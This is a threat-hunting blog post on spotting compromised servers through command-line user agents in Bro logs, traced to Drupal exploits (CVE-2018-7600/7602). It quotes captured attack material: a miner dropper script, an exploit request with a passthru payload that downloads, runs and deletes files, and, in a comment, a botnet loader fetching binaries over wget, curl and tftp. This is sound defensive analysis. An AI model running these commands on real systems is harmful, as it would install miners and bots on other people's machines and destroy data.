More Threat Hunting with User Agent and Drupal Exploits

Published: 2018-04-27
Last Updated: 2018-04-27 01:45:18 UTC
by Tom Webb (Version: 1)
1 comment(s)


It's typical to do hunting with user agents by using frequency analysis, sometimes called stacking. But many malicious scripts use built-in tools to grab malware such as wget or curl. Let's see if a compromised server has used a command line tool to get malware or tools.


Start off by grabbing your BRO HTTP logs and pulling out the user agents you want. In this example we are looking for curl, wget, or perl.

#zcat 2018-04-*/http* |egrep 'curl|wget|perl' >/nsm/tmp/cmdline-internet.txt


Next lets pull out your IP ( network that is the source as the user agent because we are looking for connections outbound from you network.

#awk '{if ($3 ~ /172.16.1/ ) print $0}' /nsm/tmp/cmdline-internet.txt >>/nsm/tmp/cmdline-internet-outgoing.txt


Now grap the URI that ends with RAR, SH, GZ, TGZ,PL,PY,PHP,TXT. These are the file extension we are going to look for malware that is trying to download.

#awk '{print $10}' cmdline-internet-outgoing.txt |egrep '\.rar$|\.sh$|\.gz$|\.zip$|\.tgz$|\.pl$|\.py$|\.php$|\.txt$' |sort |uniq

While looking through the data a single letter or number file is always interesting because attackers typically use this. I came across the below.


1524003195.150601 CFzvkl4xwEYKAjEeu6 55053 80 1 GET / - - curl/7.43.0 0 0 - -- - (empty) - - - - - - - - -

1524044872.633174 CXBXqE1ZCC3d8Ka4Hi 57165 80 1 GET / - - curl/7.43.0 0 0 - -- - (empty) - - - - - - - - -

1524051612.017796 CKkmMp3GdGwiE7yppi 57527 80 1 GET / - - curl/7.43.0 0 0

I looked at the file to see what's in it. In this case, it contained the following script.


curl hxxp://

mkdir /tmp/.x11_kenp0le/

curl hxxp:// -o /tmp/.x11_kenp0le/nttprd

chmod +x /tmp/.x11_kenp0le/nttprd

/tmp/.x11_kenp0le/nttprd -B -a cryptonight -o stratum+tcp:// -u 49CSBHFhjm5RVGiJuVh7ANEsdozsXMfkCE2rCEHXjTgoJNVdSzyvg8tM1xLpQH8R7mfcEf5jtArJf5S9XBrgfmNz5yTRMiM -p x &>>/dev/null


The script appears to be installing a cryptocoin miner. Let's go back through BRO and see if this system accessed the file.

#zcat http* |fgrep |fgrep sen

1524051614.459145 CI8e9G1izBkAi8rN8h 57528 80 1 GET /sen - - curl/7.43.0 0 0 - -- - (empty) - - - - - - - - -


Based on the results, we know it at least tried to download the file. Now it's time to start looking at the system. After collecting MACtimes from the system disk, let's see what happened in the temp directory.

#fgrep ‘.x11_kenp0le’ mactime.csv

Mon Apr 23 2018 04:05:12,68,m.c.,drwxr-xr-x,501,0,0,"/tmp/.x11_kenp0le"

Tue Apr 24 2018 13:08:10,68,.a..,drwxr-xr-x,501,0,0,"/tmp/.x11_kenp0le"


Looking at these results, it appears that only the folder was created, but the file was not downloaded to the disk. It turns out this system was running an unpatched version of Drupal (CVE-2018-7600), and below was the payload for the exploit. : 39474
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Content-Length: 171
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151)
Accept-Encoding: gzip,deflate




Speaking of Drupal exploits, we are seeing some new exploits in the wild for the latest CVE this week (CVE-2018-7602).


I’ve seen several variations of the following attack.


I pulled down 1.txt and did a quick look at it. It appears to be download a version of ( and (') and replaces these files. This code looks to be the work-around patch from Drupal.

After it patches, it profiles the system, creates 3 file upload backdoors each named apis.php. Finally, its creates a krd.html that is the defacement which links back to a picture on hxxp://


There is a base64 version of the same attack above. (Truncated)


The last version I’ve seen I was not able to pull down the script to see what it did to the system. If anyone has a copy please pass it along.[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=cd%20/tmp;%20wget%20hxxp://;;%20./;%20rm%20-rf%20*

Let us know if you are seeing other variations of the attacks.




Tom Webb


Keywords: Drupal Hunt
1 comment(s)


I was able to get the file. File details and content below.
SHA1 - 32919a2d47a4d512a0afb5d26d8093d98924761d



BINS="s.arm4 s.arm5 s.arm6 s.arm7 s.mips s.mipsel s.m68k s.spc s.ppc s.sh4 s.x86 s.i4"

for Binary in $BINS; do
wget http://$SERVER/$Binary
curl http://$SERVER/$Binary -O
tftp $SERVER -c get $Binary
tftp -r $Binary -g $SERVER
busybox wget http://$SERVER/$Binary
busybox curl http://$SERVER/$Binary -O
busybox tftp $SERVER -c get $Binary
busybox tftp -r $Binary -g $SERVER
chmod 777 $Binary

rm -rf /tmp/*
rm -rf /s.*

Diary Archives